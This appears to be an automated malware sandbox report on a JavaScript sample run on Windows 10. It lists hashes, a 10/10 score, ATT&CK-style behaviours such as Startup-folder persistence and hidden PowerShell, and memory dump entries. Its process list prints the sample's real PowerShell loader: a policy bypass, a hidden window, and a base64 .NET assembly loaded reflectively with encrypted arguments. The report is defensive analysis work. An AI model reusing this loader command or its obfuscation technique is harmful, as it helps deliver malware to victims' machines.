Overview

overview

10

Static

static

1

257ce9032c...baa.js

windows10-2004-x64

10

257ce9032c...baa.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    179s
  • max time network
    177s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 04:48

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General

  • Target
    257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa.js
  • Size 26.3MB
  • Sample260808-fe95cszhpd
  • SHA256 257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionpersistenceprivilege_escalation

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\257ce9032c78e2a1a7ded2d12d735f894c74dcd4ed9b96f4a75f0b675f1cabaa.js
    1⤵
    • Creates a file in the Startup directory
    PID:5016
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('qEd9eEOpOrMrTmUV+NLlOMhbt5HEKeIq1WF+r8DNZWH3Xp+7rG6Y0TSYFRSOKX0aNjFzzfWqx09H6185/Z6UHg==','WBaPDKI0/TtRh5T1fb9JkYe4R2dgk82JB0fjhxwxAa4=','VQucvcColSlQLb/f4urGQor/KGVBYo4QtmKoeN5CnMLG4GWWsN/tAmP0AcV9Z+xi','ISi9IEm0XCx06VOhljfOJBfIFRc0GuJE1kShyzCOqII=','+iDC6aRJuTwxUO32uEhAVH/R2bK6DqvuTqV3vmiY8Eo=','','FSsxGHK/BQUR/Q2w9z0jojz6HvDWQfItUMgzl9n5xdM=','sLNB8KiIfqanL1HwSOYyyRz+/Gy8Mzg5R26y+rg4vOE=','','kMMeqUxwQe2pDAJWz4sQvc1K9LMFs96UtUp4euLGVxawsKOYhUYBvT4+oDV26242','UuLvNQbbJD8bAYLlH4FlBTjXg2e6C9N7CJIf/zquliY=','spMQ7Vlz0zwJT0tTFMe210aIAEr/2WfF7KMWU895AnU=','TDpK2EIJ9WlY4/SvsqlOIsnUGyvG9o0NgpkmjZd8sCI=','vJCRgePhPRhEP+5/IrAEXs5evQJ7bMQJu+S+QF3k+8c=','g9J9H+fpGX7Cl5NBWXkjoQifiM28Z3YVoR7vsqCRdRo=','GLrwwpuNunzgFuTXdN+yCbiIehekM5Jojm4Wpt7Kkfs=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4492

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_hij1k3dy.m53.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hij1k3dy.m53.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4492-2-0x000001AC20750000-0x000001AC20760000-memory.dmp
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        memory/4492-1-0x000001AC20750000-0x000001AC20760000-memory.dmp
        Download

        memory/4492-8-0x000001AC07AA0000-0x000001AC07AC2000-memory.dmp
        Download

        memory/4492-11-0x000001AC05BE0000-0x000001AC05C72000-memory.dmp
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        memory/4492-12-0x000001AC05C70000-0x000001AC05C7A000-memory.dmp
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        memory/4492-13-0x000001AC20750000-0x000001AC20760000-memory.dmp
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        memory/4492-14-0x000001AC20750000-0x000001AC20760000-memory.dmp
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        memory/4492-15-0x000001AC23080000-0x000001AC2329C000-memory.dmp
        Download

        memory/4492-19-0x000001AC23080000-0x000001AC2329C000-memory.dmp
        Download